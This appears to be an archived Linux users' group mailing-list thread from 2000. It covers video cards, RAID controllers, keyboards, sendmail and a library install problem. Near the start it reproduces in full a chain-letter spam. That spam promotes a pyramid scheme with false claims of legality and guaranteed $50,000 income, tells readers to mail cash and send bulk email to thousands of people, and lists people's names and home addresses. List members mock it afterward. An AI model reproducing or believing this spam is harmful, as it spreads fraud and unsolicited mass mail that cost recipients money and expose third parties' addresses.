wanna see if someones got a g200 or g400 laying around. Nice > 2d cards for using with X. > > --=20 > Scott Dier #nicnac@efnet=20 > http://www.ringworld.org/ finger:dieman@destiny.ringworld.org > > "Kupo, kupkup, kupopo... Po... Kupo!? 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In mid December, I received this program in my e-mail. Six months prior to receiving this program I had been sending away for information on various business opportunities. All of the programs I received, in my opinion, were not cost effective. They were either too difficult for me to comprehend or the initial investment was too much for me to risk to see if they would work. But as I was saying, in December of 1997 I received this program. I didn't send for it, or ask for it, they just got my name off a mailing list. THANK GOODNESS FOR THAT!!! After reading it several times, to make sure I was reading it correctly. I couldn't believe my eyes! Here was a MONEY MAKING MACHINE I could start immediately without any debt. Like most of you I was still a little skeptical and a little worried about the legal aspects of it all. So I checked it out with the U.S. Post Office (1-800-725-2161 24-hrs) and they confirmed that it is indeed legal! After determining the program was LEGAL I decided "WHY NOT!?!??" Initially I sent out 10,000 e-mails. It cost me about $15 for my time on-line. The great thing about e-mail is that I don't need any for printing to send out the program, and because I also send the product (reports) by e- mail, my only expense is my time. In less than one week, I was starting to receive orders for REPORT #1. By January 13, I had received 26 orders for REPORT #1. Your goal is to "RECEIVE at least 20 ORDERS FOR REPORT #1 WITHIN 2 WEEKS. IF YOU DON'T, SEND OUT MORE PROGRAMS UNTIL YOU DO. My first step in making $50,000 in 90 days was done. By January 30, I had received 196 orders for REPORT #2. Your goal is to "RECEIVE AT LEAST 100+ ORDERS FOR REPORT #2 WITHIN 2 WEEKS. IF NOT, SEND OUT MORE PROGRAMS UNTIL YOU DO. ONCE YOU HAVE 100 ORDERS, THE REST IS EASY, RELAX, YOU WILL MAKE YOUR $50,000 GOAL." Well, I had 196 orders for REPORT #2. 96 more than I needed. So I sat back and relaxed. By March 1, of my e-mailing of 10,000, received $58,000 with more coming in every day. I paid off ALL my debts and bought a much needed new car! Please take your time to read this plan, IT WILL CHANGE YOUR LIFE FOREVER$!!! Remember, it won't work if you don't try it. This program does work, but you must follow it EXACTLY! Especially the rules of not trying to place your name in a different place. It won't work and you'll lose out on a lot of money! In order for this program to work, you must meet your goal of 20+ orders for REPORT #1, and 100+ orders for REPORT #2 and you will make $50,000 or more in 90 days. I AM LIVING PROOF THAT IT WORKS!!! If you choose not to participate in this program, I am sorry. It really is a great opportunity with little cost or risk to you. If you choose to participate, follow the program and you will be on your way to financial security. If you are a fellow business owner and are in financial trouble like I was, or you want to start your own business, consider this a sign. I DID! $$ Sincerely, Johnathon Rourke ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ A PERSONAL NOTE FROM THE ORIGINATOR OF THIS PROGRAM: By the time you have read the enclosed program and reports, you should have concluded that such a program, and one that is legal, could not have been created by an amateur. Let me tell you a little about myself. I had a profitable business for 10 years. Then in 1979 my business began falling off. I was doing the same things that were previously successful for me, but it wasn't working. Finally, I figured it out. It wasn't me, it was the economy. Inflation and recession had replaced the stable economy that had been with us since 1945. I don't have to tell you what happened to the unemployment rate...because many of you know from first hand experience. There were more failures and bankruptcies than ever before. The middle class was vanishing. Those who knew what they were doing invested wisely and moved up. Those who did not, including those who never had anything to save or invest, were moving down into the ranks of the poor. As the saying goes, "THE RICH GET RICHER AND THE POOR GET POORER." The traditional methods of making money will never allow you to"move up" or "get rich", inflation will see to that. You have just received information that can give you financial freedom for the rest of your life, with "NO RISK" and "JUST A LITTLE BIT OF EFFORT." You can make more money in the next few months than you have ever imagined. I should also point out that I will not see a penny of this money, nor anyone else who has provided a testimonial for this program. I have retired from the program after sending thousands and thousands of programs. Follow the program EXACTLY AS INSTRUCTED. Do not change it in any way. It works exceedingly well as it is now. Remember to e-mail a copy of this exciting report to everyone you can think of. One of the people you send this to may send out 50,000...and your name will be on everyone of them! Remember though, the more you send out, the more potential customers you will reach. So my friend, I have given you the ideas,information,materials and opportunity to become financially independent. IT IS UP TO YOU!! NOW DO IT!! ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Before you delete this program from your in box, as I almost did, take a little time to read it and REALLY THINK ABOUT IT. Get a pencil and figure out what could happen when YOU participate. Figure out the worst possible response and no matter how you calculate it, you will still make a lot of money! You will definitely get back what you invested. Any doubts you have will vanish when your first orders come in. $$$ IT WORKS!!! $$$ Jody Jacobs Richmond, VA ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ HERE'S HOW THIS AMAZING PROGRAM WILL MAKE YOU THOUSANDS OF DOLLAR$$$$!!!! This method of raising capital REALLY WORKS 100% EVERY TIME. I am sure that you could use up to $50,000 or more in the next 90 days. before you say "BULL... ", please read this program carefully. This is not a chain letter, but a perfectly legal money making business. As with all multi-level businesses, we build our business by recruiting new partners and selling our products. Every state in the USA allows you to recruit new multi-level business partners, and we sell and deliver a product for EVERY dollar received. YOUR ORDERS COME BY MAIL AND ARE FILLED BY E-MAIL, so you are not involved in personal selling. You do it privately in your own home,store or office. This is the EASIEST marketing plan anywhere! It is simply order filling by email! ************************************************************ ******* The product is informational and instructional material, keys to the secrets for everyone on how to open the doors to the magic world of E-COMMERCE , the information highway, the wave of the future ! PLAN SUMMARY: (1) You order the 4 reports listed below ($5 each) They come to you by email. (2) Save a copy of this entire letter and put your name after Report #1 and move the other names down. (3) Via the internet, access Yahoo.com or any of the other major search engines to locate hundreds of bulk email service companies (search for "bulk email") and have them send 25,000 - 50,000 emails for you about $49+) (4) Orders will come to you by postal mail - simply email them the Report they ordered. Let me ask you - isn't this about as easy as it gets? ************************************************************ ******* By the way there are over 50 MILLION email addresses with millions more joining the internet each year so don't worry about "running out" or "saturation". People are used to seeing and hearing the same advertisements every day on radio/TV. How many times have you received the same pizza flyers on your door? Then one day you are hungry for pizza and you order one. Same thing with this letter. I received this lettermany times - then one day I decided it was time to try it. ************************************************************ ******* YOU CAN START TODAY - JUST DO THESE EASY STEPS: STEP #1. ORDER THE FOUR REPORTS Order the four reports shown on the list below (you can't sell them if you don't order them). -- For each report, send $5.00 CASH, the NAME & NUMBER OF THE REPORT YOU ARE ORDERING, YOUR E-MAIL ADDRESS, and YOUR NAME & RETURN ADDRESS (in case of a problem) to the person whose name appears on the list next to the report. MAKE SURE YOUR RETURN ADDRESS IS ON YOUR ENVELOPE IN CASE OF ANY MAIL PROBLEMS! Within a few days you will receive, by e-mail, each of the four reports. Save them on your computer so you can send them to the 1,000's of people who will order them from you. STEP #2. ADD YOUR MAILING ADDRESS TO THIS LETTER a. Look below for the listing of the four reports. b. After you've ordered the four reports, delete the name and address under REPORT #4. This person has made it through the cycle. c. Move the name and address under REPORT #3 down to REPORT #4. d. Move the name and address under REPORT #2 down to REPORT #3. e. Move the name and address under REPORT #1 down to REPORT #2. f. Insert your name/address in the REPORT #1 position. Please make sure you COPY ALL INFORMATION, every name and address, ACCURATELY! STEP #3. Take this entire letter, including the modified list of names, and save it to your computer. Make NO changes to these instructions. Now you are ready to use this entire email to send by email to prospects. Report #1 will tell you how to download bulk email software and email addresses so you can send it out to thousands of people while you sleep! Remember that 50,000+ new people are joining the internet every month. Your cost to participate in this is practically nothing (surely you can afford $20 and initial bulk mailing cost). You obviously already have access to a computer and an Internet connection and e-mail is FREE! There are two primary methods of building your downline: METHOD #1: SENDING BULK E-MAIL Let's say that you decide to start small, just to see how it goes, and we'll assume you and all those involved email out only 2,000 programs each. Let's also assume that the mailing receives a 0.5% response. The response could be much better. Also, many people will email outhundreds of thousands of programs instead of 2,000 (Why stop at 2000?). But continuing with this example, you send out only 2,000 programs. With a 0.5% response, that is only 10 orders for REPORT #1. Those 10 people respond by sending out 2,000 programs each for a total of 20,000. Out of those 0.5%, 100 people respond and order REPORT #2. Those 100 mail out 2,000 programs each for a total of 200,000. The 0.5% response to that is 1,000 orders for REPORT #3. Those 1,000s end out 2,000 programs each for a 2,000,000 total. The 0.5% response to that is 10,000 orders for REPORT #4. That's 10,000 $5 bills for you. CASH!!! Your total income in this example is $50 + $500 + $5,000 + $50,000 for a total of $55,550!!! REMEMBER FRIEND, THIS IS ASSUMING 1,990 OUT OF THE 2,000 PEOPLE YOU MAIL TO WILL DO ABSOLUTELY NOTHING AND TRASH THIS PROGRAM! DARE TO THINK FOR A MOMENT WHAT WOULD HAPPEN IF EVERYONE, OR HALF SENT OUT 100,000 PROGRAMS INSTEAD OF 2,000. Believe me, many people will do just that, and more! METHOD #2 - PLACING FREE ADS ON THE INTERNET Advertising on the internet is very, very inexpensive, and there are HUNDREDS of FREE places to advertise. Let's say you decide to start small just to see how well it works. Assume your goal is to get ONLY 10 people to participate on your first level. (Placing a lot of FREE ads on the Internet will EASILY get a larger response.) Also assume that everyone else in YOUR ORGANIZATION gets ONLY 10 downline members. Look how this small number accumulates to achieve the STAGGERING results below: 1st level--your first 10 send you $5...............$50 2nd level--10 members from those 10 ($5 x 100)........$500 3rd level--10 members from those 100 ($5 x 1,000)........$5,000 4th level--10 members from those 1,000 ($5 x 10,000).......$50,000 $$$$$$ THIS TOTALS ----------$55,550 $$$$$$ AMAZING ISN'T IT? Remember friends, this assumes that the people who participate only recruit 10 people each. Think for a moment what would happen if they got 20 people to participate! Most people get 100's of participants and many will continue to work this program, sending out programs WITH YOUR NAME ON THEM for years! THINK ABOUT IT! ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ People are going to get emails about this plan from you or somebody else and many will work this plan - the question is - Don't you want your name to be on the emails they will send out? * * * DON'T MISS OUT!!! * * * JUST TRY IT ONCE!!! * * * * * SEE WHAT HAPPENS!!! *** YOU'LL BE AMAZED!!!* * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ALWAYS PROVIDE SAME-DAY SERVICE ON ALL ORDERS! This will guarantee that the e-mail THEY send out with YOUR name and address on it will be prompt because they can't advertise until they receive the report! ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ GET STARTED TODAY: PLACE YOUR ORDER FOR THE FOUR REPORTS NOW. Notes: -- ALWAYS SEND $5 CASH (U.S. CURRENCY) FOR EACH REPORT. CHECKS NOT ACCEPTED. Make sure the cash is concealed by wrapping it in two sheets of paper. On one of those sheets of paper write: (a) the number & name of the report you are ordering (b) your e-mail address, and (c) your name & postal address. REPORT #1 "The Insider's Guide to Advertising for Free on the Internet" ORDER REPORT #1 FROM: Melissa Kugler 4397 North Niles Road New Cambria, KS 67470 REPORT #2 "The Insider's Guide to Sending Bulk E-mail on the Internet" ORDER REPORT #2 FROM: Glen Comer 941 Nena Ave. Havre de Grace, MD 21078 REPORT #3 "The Secrets to Multilevel Marketing on the Internet" ORDER REPORT #3 FROM: James Bybee 382 N. 800 W. Orem, UT 84057 REPORT #4 "How to become a Millionaire utilizing the Power of Multilevel Marketing and the Internet" ORDER REPORT #4 FROM: Joy Carver 1904 San Gabriel #103 Austin, TX 78705 ******* TIPS FOR SUCCESS ******* TREAT THIS AS YOUR BUSINESS! Be prompt, professional, and follow the directions accurately. -- Send for the four reports IMMEDIATELY so you will have them when the orders start coming in because: When you receive a $5 order, you MUST send out the requested product/report. It is required for this to be a legal business and they need the reports to send out their letters (with your name on them! -- ALWAYS PROVIDE SAME-DAY SERVICE ON THE ORDERS YOU RECEIVE. -- Be patient and persistent with this program - If you follow the instructions exactly - results WILL FOLLOW. $$$$ ******* YOUR SUCCESS GUIDELINES ******* Follow these guidelines to guarantee your success: If you don't receive 20 orders for REPORT #1 within two weeks, continue advertising or sending e-mails until you do. Then, a couple of weeks later you should receive at least 100 orders for REPORT#2. If you don't, continue advertising or sending e-mails until you do. Once you have received 100 or more orders for REPORT #2, YOU CAN RELAX, because the system is already working for you, and the cash will continue to roll in! THIS IS IMPORTANT TO REMEMBER: Every time your name is moved down on the list, you are placed in front of a DIFFERENT report. You can KEEP TRACK of your PROGRESS by watching which report people are ordering from you. To generate more income, simply send another batch of e- mails or continue placing ads and start the whole process again! There is no limit to the income you will generate from this business! Before you make your decision as to whether or not you participate in this program. Please answer one question. ARE YOU HAPPY WITH YOUR PRESENT INCOME OR JOB? If the answer is no, then please look at the following facts about this super simple MLM program: 1. NO face to face selling, NO meetings, NO inventory! NO Telephone calls, NO big cost to start!, NOthing to learn, NO skills needed! (Surely you know how to send email?) 2. No equipment to buy - you already have a computer and internet connection - so you have everything you need to fill orders! 3. You are selling a product which does NOT COST ANYTHING TO PRODUCE OR SHIP! (Emailing copies of the reports is FREE!) 4. All of your customers pay you in CA$H! This program will change your LIFE FOREVER!! Look at the potential for you to be able to quit your job and live a life of luxury you could only dream about! Imagine getting out of debt and buying the car and home of your dreams and being able to work a super-high paying leisurely easy business from home! $$$ FINALLY MAKE SOME DREAMS COME TRUE! $$$ ACT NOW! Take your first step toward achieving financial independence. Order the reports and follow the program outlined above-- SUCCESS will be your reward. Thank you for your time and consideration. PLEASE NOTE: If you need help with starting a business, registering a business name, learning how income tax is handled, etc., contact your local office of the Small Business Administration (a Federal Agency)1-800-827-5722 for free help and answers to questions. Also, the Internal Revenue Service offers free help via telephone and free seminars about business tax reuirements. Your earnings are highly dependent on your activities and advertising. The information contained on this site and in the report constitutes no guarantees stated nor implied. In the event that it is determined that this site or report constitutes a guarantee of any kind, that guarantee is now void. The earnings amounts listed on this site and in the report are estimates only. If you have any questions of the legality of this program, contact the Office of Associate Director for Marketing Practices, Federal Trade Commission, Bureau of Consumer Protection in Washington, DC. ================================================ If you are not the intended recipient of this message, please accept my apologies and delete. This message is sent in compliance of the new E-mail bill, Section 301. Paragraph (a) (2) (C) of S. 1618. This is a one time e-mail transmission. No request for removal is necessary. From tanner at real-time.com Mon Dec 4 12:42:39 2000 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:13:02 2005 Subject: Longing for ORBS: [yt@lvo.fr: [TCLUG] Make $50K In 90 Days!] Message-ID: <20001204124239.S2488@real-time.com> ----- Forwarded message from yt@lvo.fr ----- > Dear Friend, > > This really works! Have the faith, don't miss this > opportunity, get involved also, and it will work for you as > it does for us!!!!! This is why I want to subscribe to ORBS. :-) Does not seem like MAPS is doing a good enough job. ORBS on the other handle, does TOO much filtering. Spam just sucks. -- Bob Tanner | Phone : (612)943-8700 http://www.mn-linux.org | Fax : (612)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From jasonj at innominatus.com Mon Dec 4 12:55:56 2000 From: jasonj at innominatus.com (Jason J) Date: Mon Jan 17 13:13:02 2005 Subject: Longing for ORBS: [yt@lvo.fr: [TCLUG] Make $50K In 90 Days!] References: <20001204124239.S2488@real-time.com> Message-ID: <3A2BE8BC.7BC5A25B@innominatus.com> What are you talking about? I have already started to make money since I received this email. I used to be homeless, but now I rival Bill Gates's wealth! All in 3 short minutes! Bob Tanner wrote: > ----- Forwarded message from yt@lvo.fr ----- > > Dear Friend, > > > > This really works! Have the faith, don't miss this > > opportunity, get involved also, and it will work for you as > > it does for us!!!!! > > This is why I want to subscribe to ORBS. :-) > > Does not seem like MAPS is doing a good enough job. > > ORBS on the other handle, does TOO much filtering. > > Spam just sucks. > > -- > Bob Tanner | Phone : (612)943-8700 > http://www.mn-linux.org | Fax : (612)943-8500 > Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list From goldman at htc.honeywell.com Mon Dec 4 12:56:04 2000 From: goldman at htc.honeywell.com (Robert P. Goldman) Date: Mon Jan 17 13:13:02 2005 Subject: [TCLUG] (OT) Video card needed In-Reply-To: <0012041157540G.00326@Billbob_Linux> References: <0012041122370D.00326@Billbob_Linux> <20001204114243.H15922@ringworld.org> <0012041157540G.00326@Billbob_Linux> Message-ID: <14891.59588.186420.141008@mn65-zippy.htc.honeywell.com> Bill --- If you find a source for one of these boards (that has more than one, of course!), will you please let me know? I'd love to be able to drive an old synch monitor that I've got, and I heard that the g 200 and 400 can do that. Best, Robert From austad at marketwatch.com Mon Dec 4 12:57:16 2000 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:13:02 2005 Subject: Longing for ORBS: [yt@lvo.fr: [TCLUG] Make $50K In 90 Days!] Message-ID: Not including the spam I get that gets sent to mailing lists, I get about 30 spams a day sent directly to me. I could tell you how to make $100k in week 500 different ways while getting free viagra which I wouldn't need because penilesecrets.com is running a deal and I can also buy "great sex in a bottle". We don't have any RBL stuff yet, but I'm pushing for it. Problem is, the mail admins only know how to work Exchange. They don't want any Unix stuff because they don't know how to work it. > -----Original Message----- > From: Bob Tanner [mailto:tanner@real-time.com] > Sent: Monday, December 04, 2000 12:43 PM > To: tclug-list@mn-linux.org > Subject: Longing for ORBS: [yt@lvo.fr: [TCLUG] Make $50K In 90 Days!] > > > ----- Forwarded message from yt@lvo.fr ----- > > Dear Friend, > > > > This really works! Have the faith, don't miss this > > opportunity, get involved also, and it will work for you as > > it does for us!!!!! > > This is why I want to subscribe to ORBS. :-) > > Does not seem like MAPS is doing a good enough job. > > ORBS on the other handle, does TOO much filtering. > > Spam just sucks. > > -- > Bob Tanner | Phone : (612)943-8700 > http://www.mn-linux.org | Fax : (612)943-8500 > Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From austad at marketwatch.com Mon Dec 4 12:57:16 2000 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:13:02 2005 Subject: Longing for ORBS: [yt@lvo.fr: [TCLUG] Make $50K In 90 Days!] Message-ID: Not including the spam I get that gets sent to mailing lists, I get about 30 spams a day sent directly to me. I could tell you how to make $100k in week 500 different ways while getting free viagra which I wouldn't need because penilesecrets.com is running a deal and I can also buy "great sex in a bottle". We don't have any RBL stuff yet, but I'm pushing for it. Problem is, the mail admins only know how to work Exchange. They don't want any Unix stuff because they don't know how to work it. > -----Original Message----- > From: Bob Tanner [mailto:tanner@real-time.com] > Sent: Monday, December 04, 2000 12:43 PM > To: tclug-list@mn-linux.org > Subject: Longing for ORBS: [yt@lvo.fr: [TCLUG] Make $50K In 90 Days!] > > > ----- Forwarded message from yt@lvo.fr ----- > > Dear Friend, > > > > This really works! Have the faith, don't miss this > > opportunity, get involved also, and it will work for you as > > it does for us!!!!! > > This is why I want to subscribe to ORBS. :-) > > Does not seem like MAPS is doing a good enough job. > > ORBS on the other handle, does TOO much filtering. > > Spam just sucks. > > -- > Bob Tanner | Phone : (612)943-8700 > http://www.mn-linux.org | Fax : (612)943-8500 > Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From cbidler at talkware.net Mon Dec 4 12:57:59 2000 From: cbidler at talkware.net (Chris Bidler) Date: Mon Jan 17 13:13:02 2005 Subject: Longing for ORBS: [yt@lvo.fr: [TCLUG] Make $50K In 90 Days!] References: <20001204124239.S2488@real-time.com> <3A2BE8BC.7BC5A25B@innominatus.com> Message-ID: <3A2BE937.4020502@talkware.net> It's true! I too fell for...er, took advantage of this excellent opportunity, and thanks to the glorious Internet, I netted over $65,000 while I was eating lunch! Now, I plan to use my new-found riches to purchase the island of Tonga, and make millions more domain-squatting on the popular '.to' TLD. Muahahaahahahahah! Jason J wrote: > What are you talking about? I have already started to make money since I > received this email. > > I used to be homeless, but now I rival Bill Gates's wealth! > > All in 3 short minutes! > > > > > > Bob Tanner wrote: > > >> ----- Forwarded message from yt@lvo.fr ----- >> >>> Dear Friend, >>> >>> This really works! Have the faith, don't miss this >>> opportunity, get involved also, and it will work for you as >>> it does for us!!!!! >> >> This is why I want to subscribe to ORBS. :-) >> >> Does not seem like MAPS is doing a good enough job. >> >> ORBS on the other handle, does TOO much filtering. >> >> Spam just sucks. >> >> -- >> Bob Tanner | Phone : (612)943-8700 >> http://www.mn-linux.org | Fax : (612)943-8500 >> Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 >> >> _______________________________________________ >> tclug-list mailing list >> tclug-list@lists.real-time.com >> https://mailman.real-time.com/mailman/listinfo/tclug-list > > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list -- <----------------------------------------------------------------------> Chris H. Bidler cbidler@talkware.net Associate Engineer, Applications Group Universal Talkware Corp. "In any event, is a O^(log N) search that returns the wrong answer really better than an O^N search that returns the right answer?" <----------------------------------------------------------------------> From b.layer at vikingelectronics.com Mon Dec 4 13:12:55 2000 From: b.layer at vikingelectronics.com (Bill Layer) Date: Mon Jan 17 13:13:02 2005 Subject: [TCLUG] Is ABIT KT-7 RAID really a hardware RAID? In-Reply-To: <200012041842.DAA00112@smsrv> References: <200012041842.DAA00112@smsrv> Message-ID: <0012041312550J.00326@Billbob_Linux> Ok, this seems like a dumb one, but I need some opinions. I got into a discussion (let's call it that) with someone yesterday who insisted that the "RAID controller" on the ABIT KT-7 RAID is not actually a hardware RAID controller, but rather a plan-old ATA-100 controller chip, with a "RAID BIOS". I'm totally confused... is it, or is it not a hardware RAID controller? What would qualify (and for that matter, disqualify) hardware RAID status? I've read many comments and reviews on this board, and none made a peep about this issue. Anyone? Billbo From jasonj at innominatus.com Mon Dec 4 13:26:22 2000 From: jasonj at innominatus.com (Jason J) Date: Mon Jan 17 13:13:02 2005 Subject: [TCLUG] Is ABIT KT-7 RAID really a hardware RAID? References: <200012041842.DAA00112@smsrv> <0012041312550J.00326@Billbob_Linux> Message-ID: <3A2BEFDE.D2BCE4BA@innominatus.com> I believe that it is not a hardware raid contoller. I thought it had software on a chip and no processor of its own, it used the main cpu. I believe the escalade series of raid controllers have there own processor on board and dont bog down the main cpu as much. I have a Promise fasttrak 66 and an escalade 6400. I was about to test the new promise raid controller linux drivers. Bill Layer wrote: > Ok, this seems like a dumb one, but I need some opinions. I got into a > discussion (let's call it that) with someone yesterday who insisted that the > "RAID controller" on the ABIT KT-7 RAID is not actually a hardware RAID > controller, but rather a plan-old ATA-100 controller chip, with a "RAID > BIOS". > > I'm totally confused... is it, or is it not a hardware RAID controller? What > would qualify (and for that matter, disqualify) hardware RAID status? I've > read many comments and reviews on this board, and none made a peep about this > issue. > > Anyone? > > Billbo > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list From dieman at ringworld.org Mon Dec 4 13:23:46 2000 From: dieman at ringworld.org (Scott Dier) Date: Mon Jan 17 13:13:02 2005 Subject: [TCLUG] (OT) Video card needed In-Reply-To: <14891.59588.186420.141008@mn65-zippy.htc.honeywell.com>; from goldman@htc.honeywell.com on Mon, Dec 04, 2000 at 12:56:04PM -0600 References: <0012041122370D.00326@Billbob_Linux> <20001204114243.H15922@ringworld.org> <0012041157540G.00326@Billbob_Linux> <14891.59588.186420.141008@mn65-zippy.htc.honeywell.com> Message-ID: <20001204132345.I15922@ringworld.org> If my patch for Composite Sync isn't in Xfree 4.x yet, I'll be happy to send it to you. Its not going to patch cleanly anymore, but it works when you get it in there. * Robert P. Goldman [001204 12:57]: > Bill --- > > If you find a source for one of these boards (that has more than one, > of course!), will you please let me know? I'd love to be able to > drive an old synch monitor that I've got, and I heard that the g 200 > and 400 can do that. > > Best, > Robert > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list -- Scott Dier #nicnac@efnet http://www.ringworld.org/ finger:dieman@destiny.ringworld.org "Kupo, kupkup, kupopo... Po... Kupo!? KUPOPO!!! Kupooo." -Moguta (FFIX) -------------- next part -------------- A non-text attachment was scrubbed... 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According to the mailman info page, the new address is tclug-list@lists.real-time.com If this is wrong correct me asap cause I'm going to update my address book now. :) -- Andy Zbikowski, Sys Admin | (WEB) http://www.ltiflex.com LTI Flexible Products, Inc. | (PH) 763-428-9119 (EX) 132 21801 Industrial Blvd | (FX) 763-428-9126 Rogers, MN 55374 | (PCS) 612-306-6055 From chrome at real-time.com Mon Dec 4 13:41:12 2000 From: chrome at real-time.com (Carl Wilhelm Soderstrom) Date: Mon Jan 17 13:13:02 2005 Subject: [TCLUG] [OT] My OmniKey died!!!!!!!!!! In-Reply-To: ; from natecars@real-time.com on Mon, Dec 04, 2000 at 11:13:28AM -0600 References: Message-ID: <20001204134112.E27653@real-time.com> > I'm on a HP keyboard right now.. it's not really clicky, but you can hear > each keystroke, and feel it.. I much prefer this over the old IBM > keyboards where you have you slam each key down.. I can type a helluva lot > faster. :) the worst keyboard I ever used was a Compaq membrane one.. it was quiet all right; but you practically bruised your fingertips typing on the thing, because you couldn't feel when the key actually 'clicked' so you mashed the keys as hard as you could, to make sure they worked. actually; I did once have a worse keyboard. it had 3 broken keys on it (one of which was the spacebar). I found out that jamming a small screwdriver against the membrane after pulling off the keycaps, would actually make it work. I didn't have any other keyboards on hand at the time, so I used it for a day or two until I could get a replacement. > Plus, the noise of the keycaps just makes you turn the music up louder.. > which I'm sure would piss off my neighbors back here (*waves to chad and > carl*) for those who don't know, N8 there bought himself a Boston Acoustics 4-speaker flat-panel array with subwoofer. he wins stereo wars. :) now if only he'd get some new music... ;> Carl Soderstrom -- Network Engineer Real-Time Enterprises (952) 943-8700 From trammell at nitz.hep.umn.edu Mon Dec 4 06:14:44 2000 From: trammell at nitz.hep.umn.edu (John J. Trammell) Date: Mon Jan 17 13:13:02 2005 Subject: [TCLUG] Re: tclug-list digest, Vol 1 #486 - 8 msgs Message-ID: <200012041214.GAA22936@nitz.hep.umn.edu> "John Keho" wrote: > REMOVE keho@computerpro.com > REMOVE keho@cpinternet.com Dude, time to turn in your "computer pro" account too. Maybe you can find one at cluelessnewbie.com. J From chewie at wookimus.net Mon Dec 4 13:51:13 2000 From: chewie at wookimus.net (Chad '^chewie' Walstrom) Date: Mon Jan 17 13:13:03 2005 Subject: [TCLUG] Re: tclug-list digest, Vol 1 #486 - 8 msgs In-Reply-To: <200012041214.GAA22936@nitz.hep.umn.edu>; from trammell@nitz.hep.umn.edu on Mon, Dec 04, 2000 at 06:14:44AM -0600 References: <200012041214.GAA22936@nitz.hep.umn.edu> Message-ID: <20001204135113.F3645@wookimus.net> On Mon, Dec 04, 2000 at 06:14:44AM -0600, John J. Trammell wrote: > "John Keho" wrote: > > > REMOVE keho@computerpro.com > > REMOVE keho@cpinternet.com > > Dude, time to turn in your "computer pro" account too. Maybe > you can find one at cluelessnewbie.com. ROFL!!! -- Chad "^chewie, gunnarr" Walstrom http://www.wookimus.net/ -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 232 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20001204/60a99d53/attachment.pgp From mjn at umn.edu Mon Dec 4 14:32:57 2000 From: mjn at umn.edu (mjn) Date: Mon Jan 17 13:13:03 2005 Subject: [TCLUG] Here's a fun sendmail question... Message-ID: My boss just asked me to do something about some mail routing issues that we are having and here is the idea we came up with, I don't know that sendmail can do this or not... We are in the middle of switching mailhosts and right now we are forwarding all mail coming into our old mailserver(Mercury on Novell) to the new one(Groupwise on Novell). We do also have a Redhat 6.1 box which is running majordomo for us and it is masqued as our Groupwise machine... We'd like to forward all of this mail as is already being done but also to automatically respond to all mail coming into that host with an informative message about the hostname change... ideally, it would respond to the email, tell the sender that their mail was delivered to user@oldhost but that the mail server address has changed and they should update their address book to user@newhost. Anyone have any suggestions on how to best accomplish this? ____________________________ Mike Neuharth ADCS Technology Specialist http://www.umn.edu/adcs E-Mail : mjn@umn.edu Page Mail : 6126486512@page.metrocall.com http://nifty.dsl.visi.com/ ____________________________ From jamie at floyd.getsetnet.net Mon Dec 4 14:53:39 2000 From: jamie at floyd.getsetnet.net (Jamie Ostrowski) Date: Mon Jan 17 13:13:03 2005 Subject: [TCLUG] Gnome library enigma Message-ID: I am trying to install a program. When I run ./configure, I get this message, then the configure process stops: checking for gdk-pixbuf >= 0.4... configure: error: not found.\nEucalyptus requires gdk-pixbuf version 0.4 or higher. I went out on the net and I downloaded the file: gdk-pixbuf-0.6.0-1.i586.rpm and I installed it in this fashion: [root@redeye jamie]# rpm -Uvh gdk-pixbuf-0.6.0-1.i586.rpm Rpm seemed to install it fine. Gave me the nice graph as it did it's work. Hmmm...I thought, that was easy enough. Now I will simply run ./configure again and I am certain it will work as I intend it to... I get the SAME error! {In my mind, I am assuming that by running the rpm for that package, and since I found no further instructions associated with it, that it would install whatever libraries I need. Evidently I am mistaken.} Can anyone shed some light on my weary mind? BTW: I am trying to install eucalyptus, a gui based gnome mail client that handles MIME types. Thnks. - Jamie From cbidler at talkware.net Mon Dec 4 15:08:56 2000 From: cbidler at talkware.net (Chris Bidler) Date: Mon Jan 17 13:13:03 2005 Subject: [TCLUG] Gnome library enigma References: Message-ID: <3A2C07E8.5020909@talkware.net> Jamie Ostrowski wrote: > > I am trying to install a program. When I run ./configure, I get this > message, then the configure process stops: > > checking for gdk-pixbuf >= 0.4... configure: error: not > found.\nEucalyptus requires gdk-pixbuf version 0.4 or higher. > > I went out on the net and I downloaded the file: > > gdk-pixbuf-0.6.0-1.i586.rpm > > and I installed it in this fashion: > > [root@redeye jamie]# rpm -Uvh gdk-pixbuf-0.6.0-1.i586.rpm > > > Rpm seemed to install it fine. Gave me the nice graph as it did it's > work. Hmmm...I thought, that was easy enough. Now I will simply run > ./configure again and I am certain it will work as I intend it to... > > I get the SAME error! > > {In my mind, I am assuming that by running the rpm for that package, > and since I found no further instructions associated with it, that it > would install whatever libraries I need. 